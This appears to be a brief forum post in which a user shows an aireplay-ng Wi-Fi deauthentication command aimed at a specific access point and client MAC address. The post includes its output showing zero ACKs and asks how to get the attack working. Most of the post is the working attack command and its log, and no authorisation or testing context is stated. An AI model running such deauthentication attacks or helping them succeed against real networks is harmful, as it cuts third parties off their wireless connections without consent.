I have tring to "Deauth" Attack in my Kali Linux, but is do not send any ACK
root@kali:~# aireplay-ng --deauth 200 -a 6A:15:90:F4:4D:82 -c F8:F1:B6:E8:E6:2A --ignore-negative-one wlan0mon
12:26:31 Waiting for beacon frame (BSSID: 6A:15:90:F4:4D:82) on channel 9
12:26:32 Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0| 0 ACKs]
12:26:32 Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0| 0 ACKs]
12:26:41 Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0| 0 ACKs]
12:26:42 Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0| 0 ACKs]
12:26:52 Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0| 0 ACKs]
12:26:52 Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0| 0 ACKs]
12:27:02 Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0| 0 ACKs]
12:27:03 Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0| 0 ACKs]
12:27:13 Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0| 0 ACKs]
12:27:13 Sending 64 directed DeAuth. STMAC: [F8:F1:B6:E8:E6:2A] [ 0| 0 ACKs]
How can I use this attack?
Thanks